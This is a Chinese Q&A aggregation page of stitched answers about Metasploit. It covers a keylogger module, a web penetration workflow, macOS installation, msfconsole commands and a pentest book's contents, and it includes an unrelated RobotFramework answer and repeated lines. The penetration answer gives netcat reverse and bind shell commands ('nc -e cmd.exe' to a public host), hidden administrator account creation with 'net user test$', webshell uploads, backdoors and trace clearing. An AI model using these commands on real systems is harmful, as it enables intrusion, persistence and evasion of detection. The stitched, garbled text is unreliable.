当前位置:首页 » 网页前端 » msf批量利用脚本
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

msf批量利用脚本

发布时间: 2022-08-15 21:36:30

❶ 如何编写一个Metasploit辅助小脚本

Javascript keylogger简介:
Javascript keylogger可以捕捉通过网络的键盘击键事件。使用JavaScript keylogger的优势在于:他不需要我们预先拥有一个服务器空间,然后再上传一个假冒的网页,写伪造的页面、插链接

再写个蛋疼的采集脚本(如下图)…

使用Metasploit制造键盘窃听网站:
1. 打开msfconsle

2.搜索Keylogger

3.使用auxiliary/server/capture/http_javascript_keylogger模块

4.查看模块配置情况

5.我们这里以rapid7提供的Demo为例(页面比较简单)进行配置:
Set demo true
Set uripath keylogger
6.执行攻击模块

❷ mac下用metasploit怎么将msf命令批量ln到bin中

首先确定目标主机是否有ms08-067漏洞,这一点确定后才可以进行攻击,在配置好攻击参数后使用命令:show options检查一下所配置的参数是否都正确.

❸ Kali工具中的 msf 为什么不能自动化攻击

最近刚刚接触到RobotFramework,发现这个工具倒是可以满足我的要求,而且可以结合seleniumLibrary,用来做web的自动化测试相当不错。之前我也接触过selenium,不过感觉那个工具更贴近开发人员使用,有了robotFramework之后,感觉这个工具相当强大,而且是贴近测试人员的。之所以说强大,主要是这些测试脚本都可以用文本格式保存(如txt/html等) ==安装篇== 如果有想学的朋友可以自己下载以下文件安装(Google-code里可以找到大部分的安装文件): 这篇文章的内容比较旧了,最新的安装指南请查看 更新篇 python-2.7.1.msi(首先要有python,请选择将Python加入Path) wxPython2.8-win32-unicode-2.8.11.0-py27.exe(wxPython,必须要的) robotframework-2.6.0.win32.exe(然后装robot的Framework) robotframework-ride-0.38.1.win32.exe(robotFramework的IDE,很不错) robotframework-seleniumlibrary-2.8.win32.exe(seleniumLibrary) 安装成功后 执行[PythonDir]\Scripts\ride.py 看到界面就是安装成功了。 如果需要AutoIt支持就下载下面2个东东。 AutoItLibrary-1.1 pywin32-216.win32-py2.7.exe ==入门篇== 安装完成了,这个框架可以说是基于keyword的操作,按F5可以看到所有加载的keyword。 首先新增一个project 然后新增suite 然后新增test case,接着在suite层级add library,把selenium library加进来,添加后按F5检验是否添加成功,如图 OK,继续在suite的setting里设置suite启动和结束的keyword,即Start Selenium Server和Stop Selenium Server,他会在运行时帮助我们自动启动seleniumserver。 接下来在test case里添加一个步骤,open browser(一般用selenium做web测试都要用这个方法来打开浏览器),添加后关键字变成蓝色表示找到关键字了,否则可能是拼写错误或者没有加载相应的library。红色表示有一个必选参数要给定输入值,具体参数可以看F5里的keyword说明。 输入参数,第二个参数默认是firefox,不过我没装,就用ie吧。 以上只是一个简单的例子,没有详细说明每个步骤的操作,只是初步介绍。后续再详细介绍

❹ web渗透是什么

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。

❺ metasploit在mac上怎么用

安装的几个步骤:
1.从github上克隆Metasploit项目到本地;
2.安装postgresql并进行配置;
3.安装特定版本的ruby,并解决依赖;
1.从GITHUB上克隆METASPLOIT项目到本地
git clone https://github.com/rapid7/metasploit-framework.git /usr/local/share/metasploit-framework
克隆到本地后,将metasploit-framework/config/目录下的配置文件:database.yml 添加到环境变量中(database.yml 也许不存在,直接复制database.yml.example)
在$HOME/.bash_profile或者其他配置文件中添加下面这条配置
export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml

2.安装POSTGRESQL并进行配置
metasploit下载完后,不急着去配置,因为metasploit的默认数据库postgresql还没有装上
你可以直接使用brew来下载并自动安装postgresql,可以运行如下命令
brew install postgresql --without-ossp-build

等待自动安装完毕,完成后,初始化postgresql(若出现错误删掉/usr/local/var/postgres,并重试)
initdb /usr/local/var/postgres

初始化完毕后,为metasploit添加数据库用户和创建相应DB
createuser msf -P -h localhost createdb -O msf msf -h localhost

(上面参数不懂了,大家可以网络一下,这里就不做过多解释了)
上面的步骤完成后,需更改metasploit的数据库连接配置,也就是第一步中的database.yml文件
在database.yml中,将信息修改如下
proction: adapter: postgresql database: msf username: msf password: yourpassword host: 127.0.0.1 port: 5432 pool: 75 timeout: 5

完成后,进入第三步!
(可自行添加alisa来简便每一次postgresql的启动)
alias pg_start='pg_ctl -D /usr/local/var/postgres -l /usr/local/var/postgres/server.log start' alias pg_stop='pg_ctl -D /usr/local/var/postgres stop'

3.安装特定版本的RUBY,并解决依赖

说到ruby的多版本管理,这里就要用最给力的工具了rbenv(可以在github上找到,也可以使用brew直接安装)brew install rbenv ruby-build

rbenv安装完成后,在$HOST/.bash_profile或其他配置文件中添加如下设置eval "$(rbenv init -)"

下面就可以通过rbenv来安装特定版本的ruby了,首先列出当前可用的ruby版本rbenv install --list

可以看到几乎所有的ruby版本都有,这里我们选择安装ruby-1.9.3-p547(因为OS X 10.9.3 自带的ruby为2.0.0版本,在某些地方会产生问题)rbenv install 1.9.3-p547

这里可能会等一会儿,rbenv会将各个版本的ruby安装在$HOST/.rbenv/versions/下,完成后,将下载的版本设置为系统默认rbenv rehash rbenv global 1.9.3-p547

完成后,重新打开终端,输入ruby –version就可以看到当前默认的ruby版本已经设置成为1.9.3-p547
下面安装bundle来解决依赖问题gem install bundle

安装的时候,可能会出连接问题,多试几次即可
bundle安装完毕后,再次进入metasploit的主目录解决模块包的依赖cd /usr/local/share/metasploit-framework rbenv rehash bundle install

(在bundle install的过程中,可能会出现某一个特定版本的模块安装失败的问题,解决方法:根据GemFiles里的版本限制,自行使用gem安装替代版本,完成后,删掉GemFiles.lock,重新运行bundle install)
依赖解决后,即可运行目录下的msfconsole启动metasploit终端控制器(已启动postgresql,不然会连不上数据库)
可以将msf命令批量ln到bin下for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done

❻ 为什么我启动了msfconsole没有msf终端

这可能是最流行的msfconsole界面MSF。它提供了一个“一体化”集中控制台,允许你有效地访问到几乎所有的选项可在Metasploit框架。Msfconsole起初看似吓人的,但一旦你学习语法的命令,你将学会欣赏利用该接口的力量。msfconsole界面的窗户都可以在3.3版本发布,但3.2版本的用户将需要手动安装Cygwin框架下,随着红宝石安装补丁,或接触控制台模拟器通过包括网站或GUI部件。
msfconsole的好处:
1.这是唯一办法访问大多数支持在Metasploit特点。
2.console-based界面提供了一个框架
3.含有最特点和是最稳定的无国界医生的界面
4.充分readline支持,tabbing以及命令完成
5.在msfconsole外部命令的执行是可能的
msf > ping -c 1 192.168.1.2[*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms --- 192.168.1.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf >

通过简单的展开msfconsole运行。“从/ msfconsole命令行。你可以 msfconsole -h”,去看看别的用途。

输入help或者?,显示在msfconsole中的可用命令

标签完成
这是msfconsole设计快速使用和特点之一,有助于这一目标是标签完成。与各种各样的模组可供选择,就很难记得确切的名字和路径的特殊模数你希望利用。同大多数的其他类型的贝壳,进入你所知道的和紧迫的标签的会赠送一个列表选择或自动完成你的字符串,如果只有一个选择。标签完成readline取决于延伸和几乎每个指挥控制台支持标签完成。

use exploit/windows/dce
use .*netapi.*
set LHOST
show
set TARGET
set PAYLOAD windows/shell/
exp
back
命令

msf auxiliary(ms09_001_write) > back msf >

check命令
没有很多的利用,支持它,但也存在着一个“检查'选项,看看一个目标是脆弱的,而不是一个特定的开发利用它实际上。
msf exploit(ms04_045_wins) > show options Mole options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port Exploit target: Id Name -- ---- 0 Windows 2000 English msf exploit(ms04_045_wins) > check[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

connect命令 连接
有一个微型netcat克隆建成的msfconsole支持SSL,代理,旋转、文件发送。发出“连接”命令一个ip地址和端口的号码,你可以连接到一个远程主机在msfconsole一样的你会与netcat或远程登录。
msf > connect 192.168.1.1 23[*] Connected to 192.168.1.1:23 ??????!???? DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ? DD-WRT login:
通过“-”的连接,它将通过SSL连接:
msf > connect -s www.metasploit.com 443[*] Connected to www.metasploit.com:443 GET / HTTP/1.0 HTTP/1.1 302 Found Date: Sat, 25 Jul 2009 05:03:42 GMT Server: Apache/2.2.11 Location: http://www.metasploit.org/

run命令
msf auxiliary(ms09_001_write) > run Attempting to crash the remote host... datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 rescue datalenlow=45535 dataoffset=65535 fillersize=72 rescue datalenlow=35535 dataoffset=65535 fillersize=72 rescue datalenlow=25535 dataoffset=65535 fillersize=72 rescue ...snip...

irb命令
msf > irb[*] Starting IRB shell... >> puts "Hello, metasploit!" Hello, metasploit! => nil >> Framework::Version => "3.8.0-dev" >> framework.moles.keys.length =>1336

msfconsole

Retrieved from "http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Irb_Command"

jobs命令
msf exploit(ms08_067_netapi) > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -i Lists detailed information about a running job. -k Terminate the specified job name. -l List all running jobs. -v Print more detailed info. Use with -i and -l

load命令
load指挥从Metasploit载入一个插件的插件的目录。通过参数的 'key=val' 的shell上。
msf > load Usage: load [var=val var=val ...] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf > load pcap_log[*] Successfully loaded plugin: pcap_logunload命令 卸掉
msf > load pcap_log [*] Successfully loaded plugin: pcap_log msf > unload pcap_log Unloading plugin pcap_log...unloaded.

loadpath命令
“loadpath”命令将载入一个third-part模块树为道路,这样你就可以在你的0-day点Metasploit战功,编码器,有效载荷,等。
msf > loadpath /home/secret/moles Loaded 0 moles.

resource命令
一些攻击(如Karmetasploit使用资源(批)文件,您可以通过msfconsole负载使用“资源”命令。这些文件是一个基本的脚本为msfconsole。它运行的命令在档案按顺序排列。稍后我们将探讨,外面的Karmetasploit,可以是非常有用的。
msf > resource karma.rc resource> load db_sqlite3 [-][-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-][-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 ...snip...

批处理文件可以大大加快测试和开发时间以及允许用户自动化许多任务。除了载入一个批处理文件msfconsole从内部,但是它们还是可以通过使用“r”启动国旗。简单的范例创造一个批处理文件显示Metasploit版本号在启动。
root@bt:~# echo version > version.rc root@bt:~# ./msfconsole -r version.rc888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + -- --=[ 688 exploits - 357 auxiliary - 39 post + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12668 updated today (2011.05.19) resource> version Framework: 3.8.0-dev.12644 Console : 3.8.0-dev.12651 msf >

route命令
“route”命令在Metasploit允许你通过路由卯会话或'comm',提供基本的旋转能力。添加一个路线,你通过目标的子网和网络掩码,紧随其后的是会议(传媒类)号码。
msf exploit(ms08_067_netapi) > route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local. msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 2 msf exploit(ms08_067_netapi) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.1.0 255.255.255.0 Session 2

info命令
“info”命令将提供详细的信息关于某个模块包括所有的选择,目标,和其他信息。一定要认真阅读模块描述使用它作为前可能有些un-desired效果。
信息的命令也提供以下信息:
1.作者和许可的信息
2.漏洞参考资料
3.任何有效载荷限制模块
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo

set 命令

'set'指令让你配置框架选项和参数对当前模块你处理。

msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf auxiliary(ms09_001_write) > show options Mole options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.1 yes The target address RPORT 445 yes Set the SMB service port

最近的一份附加的性能在Metasploit是能力设定一个编码器使用运行时间。这是特别有用的发展在利用你还不太确定的编码方法,将工作载荷与开发。
msf exploit(ms08_067_netapi) > show encoders Compatible encoders =================== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai encoder => x86/shikata_ga_nai

unset命令
相反的“set'命令,当然,是“unset”。“unset”去掉一个参数配置与“set'之前。你可以移除所有的变量与'unset all'。

msf > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > set THREADS 50 THREADS => 50 msf > set Global ====== Name Value ---- ----- RHOSTS 192.168.1.0/24 THREADS 50 msf > unset THREADS Unsetting THREADS... msf > unset all Flushing datastore... msf > set Global ====== No entries in data store.

❼ msf5>use1没有用怎么办好像是版本太低,不知道,哪个命令

摘要 back (返回): 从目前的情况下向后移动

❽ metasploit framework上怎么使用whois命令

metasploit是一个非常牛逼的渗透测试工具,搞渗透的几乎没人不用的。但是只学这个没其他的基础是不行的,metasploit要玩得出彩玩得高端是很多时候根据实际需要自己修改和分析渗透利用脚本,所以好的编程思维和技术也是非常重要的。总之,遵循一...

❾ 《彻底研究黑客编程技术揭秘与攻防实战》这本书的代码用什么语言写出来的

黑客一般都掌握多种编程语言,他们不但掌握着与底层相关的如汇编、C之类的编程语言,而且还掌握很多脚本语言,如Python、Perl、Ruby .......很多黑客在发现ODay以后用Perl或者Python来写POC; MSF使用的是Ruby来进行开发Exploit;有的黑客在反病毒时竟然写个批处理就搞定了……对于黑客来说,一切语言都是服务于自己的思想的,只要能快速实现自己的想法,能完成自己所要完 成的功能就行,从不拘泥于任何语言和工具。在网上有很多学习不同编程语言的人们之间经常互相攻击,这其实是一种极端的行为,大家还是理性地对待这些问题比较好

❿ Metasploit渗透测试指南的目录

《metasploit渗透测试指南》
第1章 渗透测试技术基础 1
1.1 ptes标准中的渗透测试阶段 2
1.1.1 前期交互阶段 2
1.1.2 情报搜集阶段 2
1.1.3 威胁建模阶段 2
1.1.4 漏洞分析阶段 3
1.1.5 渗透攻击阶段 3
1.1.6 后渗透攻击阶段 3
1.1.7 报告阶段 4
1.2 渗透测试类型 4
1.2.1 白盒测试 5
1.2.2 黑盒测试 5
1.3 漏洞扫描器 5
1.4 小结 6
第2章 metasploit基础 7
2.1 专业术语 7
2.1.1 渗透攻击(exploit) 8
2.1.2 攻击载荷(payload) 8
2.1.3 shellcode 8
.2.1.4 模块(mole) 8
2.1.5 监听器(listener) 8
2.2 metasploit用户接口 8
2.2.1 msf终端 9
2.2.2 msf命令行 9
2.2.3 armitage 11
2.3 metasploit功能程序 12
2.3.1 msf攻击载荷生成器 12
2.3.2 msf编码器 13
2.3.3 nasm shell 13
2.4 metasploit express和metasploit pro 14
2.5 小结 14
第3章 情报搜集 15
3.1 被动信息搜集 16
3.1.1 whois查询 16
3.1.2 netcraft 17
3.1.3 nslookup 18
3.2 主动信息搜集 18
3.2.1 使用nmap进行端口扫描 18
3.2.2 在metasploit中使用数据库 20
3.2.3 使用metasploit进行端口扫描 25
3.3 针对性扫描 26
3.3.1 服务器消息块协议扫描 26
3.3.2 搜寻配置不当的microsoft sql server 27
3.3.3 ssh服务器扫描 28
3.3.4 ftp扫描 29
3.3.5 简单网管协议扫描 30
3.4 编写自己的扫描器 31
3.5 小结 33
第4章 漏洞扫描 35
4.1 基本的漏洞扫描 36
4.2 使用nexpose进行扫描 37
4.2.1 配置 37
4.2.2 将扫描报告导入到metasploit中 42
4.2.3 在msf控制台中运行nexpose 43
4.3 使用nessus进行扫描 44
4.3.1 配置nessus 44
4.3.2 创建nessus扫描策略 45
4.3.3 执行nessus扫描 47
4.3.4 nessus报告 47
4.3.5 将扫描结果导入metasploit框架中 48
4.3.6 在metasploit内部使用nessus进行扫描 49
4.4 专用漏洞扫描器 51
4.4.1 验证smb登录 51
4.4.2 扫描开放的vnc空口令 52
4.4.3 扫描开放的x11服务器 54
4.5 利用扫描结果进行自动化攻击 56
第5章 渗透攻击之旅 57
5.1 渗透攻击基础 58
5.1.1 msf] show exploits 58
5.1.2 msf] show auxiliary 58
5.1.3 msf] show options 58
5.1.4 msf] show payloads 60
5.1.5 msf] show targets 62
5.1.6 info 63
5.1.7 set和unset 63
5.1.8 setg和unsetg 64
5.1.9 save 64
5.2 你的第一次渗透攻击 64
5.3 攻击一台ubuntu主机 68
5.4 全端口攻击载荷:暴力猜解目标开放的端口 71
5.5 资源文件 72
5.6 小结 73
第6章 meterpreter 75
6.1 攻陷windows xp 虚拟机 76
6.1.1 使用nmap扫描端口 76
6.1.2 攻击ms sql 76
6.1.3 暴力破解ms sql服务器 78
6.1.4 xp_cmdshell 79
6.1.5 meterpreter基本命令 80
6.1.6 获取键盘记录 81
6.2 挖掘用户名和密码 82
6.2.1 提取密码哈希值 82
6.2.2 使用meterpreter命令获取密码哈希值 83
6.3 传递哈希值 84
6.4 权限提升 85
6.5 令牌假冒 87
6.6 使用ps 87
6.7 通过跳板攻击其他机器 89
6.8 使用meterpreter脚本 92
6.8.1 迁移进程 92
6.8.2 关闭杀毒软件 93
6.8.3 获取系统密码哈希值 93
6.8.4 查看目标机上的所有流量 93
6.8.5 攫取系统信息 93
6.8.6 控制持久化 94
6.9 向后渗透攻击模块转变 95
6.10 将命令行shell升级为meterpreter 95
6.11 通过附加的railgun组件操作windows api 97
6.12 小结 97
第7章 免杀技术 99
7.1 使用msf攻击载荷生成器创建可独立运行的二进制文件 100
7.2 躲避杀毒软件的检测 101
7.2.1 使用msf编码器 102
7.2.2 多重编码 103
7.3 自定义可执行文件模板 105
7.4 隐秘地启动一个攻击载荷 106
7.5 加壳软件 107
7.6 小结:关于免杀处理的最后忠告 108
第8章 客户端渗透攻击 109
8.1 基于浏览器的渗透攻击 110
8.1.1 基于浏览器的渗透攻击原理 111
8.1.2 空指令 112
8.2 使用immunity调试器来揭秘空指令机器码 112
8.3 对ie浏览器的极光漏洞进行渗透利用 116
8.4 文件格式漏洞渗透攻击 119
8.5 发送攻击负载 120
8.6 小结 121
第9章 metasploit辅助模块 123
9.1 使用辅助模块 126
9.2 辅助模块剖析 128
9.3 小结 133
第10章 社会工程学工具包 135
10.1 配置set工具包 136
10.2 针对性钓鱼攻击向量 137
10.3 web攻击向量 142
10.3.1 java applet 142
10.3.2 客户端web攻击 146
10.3.3 用户名和密码获取 148
10.3.4 标签页劫持攻击 150
10.3.5 中间人攻击 150
10.3.6 网页劫持 151
10.3.7 综合多重攻击方法 153
10.4 传染性媒体生成器 157
10.5 teensy usb hid攻击向量 157
10.6 set的其他特性 160
10.7 小结 161
第11章 fast-track 163
11.1 microsoft sql注入 164
11.1.1 sql注入——查询语句攻击 165
11.1.2 sql注入——post参数攻击 166
11.1.3 手工注入 167
11.1.4 ms sql破解 168
11.1.5 通过sql自动获得控制(sqlpwnage) 172
11.2 二进制到十六进制转换器 174
11.3 大规模客户端攻击 175
11.4 小结:对自动化渗透的一点看法 176
第12章 karmetasploit无线攻击套件 177
12.1 配置 178
12.2 开始攻击 179
12.3 获取凭证 181
12.4 得到shell 182
12.5 小结 184
第13章 编写你自己的模块 185
13.1 在ms sql上进行命令执行 186
13.2 探索一个已存在的metasploit模块 187
13.3 编写一个新的模块 189
13.3.1 powershell 189
13.3.2 运行shell渗透攻击 190
13.3.3 编写powershell_upload_exec函数 192
13.3.4 从十六进制转换回二进制程序 192
13.3.5 计数器 194
13.3.6 运行渗透攻击模块 195
13.4 小结:代码重用的能量 196
第14章 创建你自己的渗透攻击模块 197
14.1 fuzz测试的艺术 198
14.2 控制结构化异常处理链 201
14.3 绕过seh限制 204
14.4 获取返回地址 206
14.5 坏字符和远程代码执行 210
14.6 小结 213
第15章 将渗透代码移植到metasploit框架 215
15.1 汇编语言基础 216
15.1.1 eip和esp寄存器 216
15.1.2 jmp指令集 216
15.1.3 空指令和空指令滑行区 216
15.2 移植一个缓冲区溢出攻击代码 216
15.2.1 裁剪一个已有的渗透攻击代码 218
15.2.2 构造渗透攻击过程 219
15.2.3 测试我们的基础渗透代码 220
15.2.4 实现框架中的特性 221
15.2.5 增加随机化 222
15.2.6 消除空指令滑行区 223
15.2.7 去除伪造的shellcode 223
15.2.8 我们完整的模块代码 224
15.3 seh覆盖渗透代码 226
15.4 小结 233
第16章 meterpreter脚本编程 235
16.1 meterpreter脚本编程基础 235
16.2 meterpreter api 241
16.2.1 打印输出 241
16.2.2 基本api调用 242
16.2.3 meterpreter mixins 242
16.3 编写meterpreter脚本的规则 244
16.4 创建自己的meterpreter脚本 244
16.5 小结 250
第17章 一次模拟的渗透测试过程 251
17.1 前期交互 252
17.2 情报搜集 252
17.3 威胁建模 253
17.4 渗透攻击 255
17.5 msf终端中的渗透攻击过程 255
17.6 后渗透攻击 257
17.6.1 扫描metasploitable靶机 258
17.6.2 识别存有漏洞的服务 259
17.7 攻击apache tomcat 260
17.8 攻击一个偏门的服务 262
17.9 隐藏你的踪迹 264
17.10 小结 266
附录a 配置目标机器 267
附录b 命令参考列表 275